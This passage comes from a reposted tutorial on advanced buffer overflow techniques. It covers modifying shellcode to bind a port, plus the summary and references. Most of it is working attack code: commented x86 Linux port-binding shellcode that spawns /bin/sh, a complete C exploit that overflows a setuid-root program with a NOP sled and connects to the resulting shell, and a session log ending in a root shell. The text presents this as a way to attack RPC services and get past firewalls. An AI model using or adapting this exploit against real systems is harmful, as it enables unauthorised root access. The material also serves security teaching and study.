|
高级缓冲区溢出攻击(2) (阅览
次)
6.3 Modify the normal shellcode
You need some works to merge the above codes.
new shellcode ---------------------------------------------------------------------------- char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* testl %eax,%eax */ "\x75\x43" /* jne 0x43 */ /* fork()!=0 case */ /* It will call exit(0) */ /* To do that, it will jump twice, because exit(0) is */ /* located so far. */ "\xeb\x43" /* jmp 0x43 */ /* fork()==0 case */ /* It will call -0xa5 */ /* To do that, it will jump twice, because call -0xa5 */ /* is located so far. */ "\x5e" /* popl %esi */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ "\xeb\x04" /* jmp 0x4 */ "\xeb\x55" /* jmp 0x55 */ "\xeb\x5b" /* jmp 0x5b */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x01" /* movb $0x1,%cl */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x02" /* movb $0x2,%cl */ "\xcd\x80" /* int $0x80 */ "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ /* %eax="/bin" */ "\x89\x06" /* movl %eax,(%esi) */ "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ /* %eax="/sh/" */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x01" /* movb $0x1,%al */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */ ----------------------------------------------------------------------------
6.4 Exploit vulnerable4 program With this shellcode, you can make an exploit code easily. And You have to make code which connects to the socket.
exploit4.c ---------------------------------------------------------------------------- #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<netdb.h> #include<netinet/in.h>
#define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90
char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* testl %eax,%eax */ "\x75\x43" /* jne 0x43 */ "\xeb\x43" /* jmp 0x43 */ "\x5e" /* popl %esi */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ "\xeb\x04" /* jmp 0x4 */ "\xeb\x55" /* jmp 0x55 */ "\xeb\x5b" /* jmp 0x5b */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x01" /* movb $0x1,%cl */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x02" /* movb $0x2,%cl */ "\xcd\x80" /* int $0x80 */ "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ "\x89\x06" /* movl %eax,(%esi) */ "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x01" /* movb $0x1,%al */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */
unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }
long getip(char *name) { struct hostent *hp; long ip; if((ip=inet_addr(name))==-1) { if((hp=gethostbyname(name))==NULL) { fprintf(stderr,"Can't resolve host.\n"); exit(0); } memcpy(&ip,(hp->h_addr),4); } return ip; }
int exec_sh(int sockfd) { char snd[4096],rcv[4096]; fd_set rset; while(1) { FD_ZERO(&rset); FD_SET(fileno(stdin),&rset); FD_SET(sockfd,&rset); select(255,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset)) { memset(snd,0,sizeof(snd)); fgets(snd,sizeof(snd),stdin); write(sockfd,snd,strlen(snd)); } if(FD_ISSET(sockfd,&rset)) { memset(rcv,0,sizeof(rcv)); if(read(sockfd,rcv,sizeof(rcv))<=0) exit(0); fputs(rcv,stdout); } } }
int connect_sh(long ip) { int sockfd,i; struct sockaddr_in sin; printf("Connect to the shell\n"); fflush(stdout); memset(&sin,0,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(30464); sin.sin_addr.s_addr=ip; if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Can't create socket\n"); exit(0); } if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0) { printf("Can't connect to the shell\n"); exit(0); } return sockfd; }
void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; int sockfd;
if(argc>1) offset=atoi(argv[1]);
sp=get_sp(); addr=sp-offset;
for(i=0;i<bsize;i+=4) { buff[i+ALIGN]=(addr&0x000000ff); buff[i+ALIGN+1]=(addr&0x0000ff00)>>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; }
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++) buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i];
buff[bsize-1]='\0';
printf("Jump to 0x%08x\n",addr);
if(fork()==0) { execl("./vulnerable4","vulnerable4",buff,0); exit(0); } sleep(5); sockfd=connect_sh(getip("127.0.0.1")); exec_sh(sockfd); } ----------------------------------------------------------------------------
exploit the vulnerable4 program ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable4 -rwsr-xr-x 1 root root 4091 Oct 18 20:21 vulnerable4* [ ohhara@ohhara ~ ] {2} $ ls -l exploit4 -rwxr-xr-x 1 ohhara cse 7973 Oct 18 20:25 exploit4* [ ohhara@ohhara ~ ] {3} $ ./exploit4 Jump to 0xbfffec64 Connect to the shell Can't connect to the shell [ ohhara@ohhara ~ ] {4} $ ./exploit4 500 Jump to 0xbfffea70 Connect to the shell whoami root ----------------------------------------------------------------------------
6.5 What can you do with this technique? You can make various remote exploit code with this technique. If the vulnerable host is behind the firewall, you can open a socket in unfiltered port. This is a very useful technique when you attack rpc service with buffer overflow.
7. Summary This paper introduced four buffer overflow techniques. They are pass through filtering, change uid back to 0, break chroot, and open socket. These techniques will be very useful when you try to make a buffer overflow exploit code. In addition, these techniques can be combined. All programers MUST be careful when making a setuid root program or server program!!! PLEASE BE CAREFUL!!!!!
8. References Smashing The Stack For Fun And Profit by Aleph1 wu-ftpd remote exploit code by duke ADMmountd remote exploit code by ADM
9. Etc Sorry for my poor English. :(
Written by Taeho Oh ( ohhara@postech.edu ) ---------------------------------------------------------------------------- Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug ----------------------------------------------------------------------------
------------------------------------------ Special thanks to all of PLUS members. ^_^ ------------------------------------------
--
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
返回
|